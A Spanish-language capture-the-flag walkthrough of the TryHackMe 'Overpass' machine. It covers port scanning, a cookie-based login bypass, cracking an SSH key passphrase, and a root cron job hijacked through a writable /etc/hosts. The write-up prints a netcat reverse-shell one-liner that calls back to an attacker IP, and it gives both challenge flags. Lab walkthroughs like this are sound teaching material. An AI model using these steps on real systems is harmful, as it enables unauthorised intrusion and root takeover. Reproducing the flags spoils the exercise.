RECONOCIMIENTO — Escaneo de puertos
Se lanza un escaneo completo para descubrir la superficie de ataque disponible.
escaneo inicial
nmap -p- -T5 <IP> -oG allPorts
| PUERTO |
ESTADO |
SERVICIO |
| 22/tcp |
OPEN |
SSH |
| 80/tcp |
OPEN |
HTTP |
La superficie es reducida: una web y SSH. Se enumera la web con gobuster y se descubre el directorio /admin, que contiene un panel de login.
fuzzing de directorios
gobuster dir -u "http://<IP>/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,txt,html,js
BROKEN AUTHENTICATION — Bypass del login
Inspeccionando el código fuente de /admin se encuentra el fichero login.js, que contiene toda la lógica de autenticación del lado del cliente. Esto es ya una señal de alerta: la validación de sesión no debería depender del navegador.
El flujo del login funciona así:
1
El usuario envía credenciales
El formulario hace un POST a /api/login con usuario y contraseña.
2
El servidor responde con texto
Si las credenciales son incorrectas, el servidor devuelve la cadena "Incorrect credentials". Si son correctas, devuelve un token de sesión.
3
El cliente decide si redirigir
El JavaScript comprueba si la respuesta es "Incorrect credentials". Si NO lo es, ejecuta Cookies.set("SessionToken", statusOrCookie) y redirige a /admin.
¿Dónde está el bug?
La comprobación de si el login fue exitoso se hace
en el navegador, no en el servidor. El código solo verifica que la respuesta
no sea el texto "Incorrect credentials" para establecer la cookie y redirigir. Esto significa que podemos saltarnos el login entero simplemente
creando la cookie manualmente desde la consola del navegador, con cualquier valor que no esté vacío.
código vulnerable (login.js)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value = ""
} else {
Cookies.set("SessionToken", statusOrCookie) // ← se guarda lo que sea
window.location = "/admin" // ← y redirige sin más comprobación
}
Explotación
Abrimos la consola del navegador (F12) y ejecutamos directamente la misma llamada que haría el JS en caso de login exitoso, pero con un valor arbitrario. El servidor en
/admin solo comprueba que la cookie
SessionToken exista, no que sea válida.
bypass desde la consola del navegador
Cookies.set("SessionToken", "");
Al recargar /admin el servidor ve la cookie presente y nos da acceso. Encontramos una nota de Paradox para James junto a su clave RSA privada para acceder por SSH.
ACCESO SSH — Cracking de la clave RSA
La clave obtenida está cifrada (Proc-Type: 4,ENCRYPTED), por lo que se necesita la passphrase. Se usa ssh2john para convertirla a un formato que john pueda crackear:
cracking de la passphrase
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
acceso al sistema
chmod 600 id_rsa
ssh -i id_rsa james@<IP>
USER FLAG
thm{65c1aaf000506e56996822c6281e6bf7}
PRIVILEGE ESCALATION — Cron + /etc/hosts hijacking
Revisando el crontab del sistema se descubre una tarea ejecutada por root cada minuto:
/etc/crontab
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
Root descarga un script desde overpass.thm y lo ejecuta directamente con bash. El vector de ataque es claro: si controlamos a qué IP resuelve overpass.thm, controlamos qué script ejecuta root.
El fichero /etc/hosts tiene permisos de escritura para todos los usuarios. Se añade nuestra IP de la VPN apuntando a overpass.thm:
/etc/hosts modificado
127.0.0.1 localhost
127.0.1.1 overpass-prod
192.168.170.129 overpass.thm ← nuestra IP
Ahora hay que servir el script malicioso desde nuestra máquina en la ruta exacta que espera el cron: /downloads/src/buildscript.sh. El script lanza una reverse shell:
preparación del servidor malicioso
mkdir -p downloads/src
echo '#!/bin/bash' > downloads/src/buildscript.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.170.129 4444 >/tmp/f' >> downloads/src/buildscript.sh
python3 -m http.server 80
Se pone netcat en escucha y se espera a que el cron dispare:
listener
python3 ~/exploits/penelope.py 4444
root@ip-10-81-148-134:~# whoami
root
ROOT FLAG
thm{7f336f8c359dbac18d54fdd64ea753bb}
CADENA DE ATAQUE
01
Enumeración Web
Gobuster descubre /admin con panel de login y su lógica JS expuesta en login.js
02
Broken Authentication
La autenticación se valida en el cliente. Crear la cookie SessionToken manualmente desde la consola bypasea el login completamente
03
Acceso SSH como James
Clave RSA privada obtenida del panel admin → passphrase crackeada con john → shell como james
04
Cron + /etc/hosts hijacking
/etc/hosts es escribible → se redirige overpass.thm a nuestra IP → el cron de root ejecuta nuestra reverse shell
⚡
Root
Reverse shell recibida como root en menos de un minuto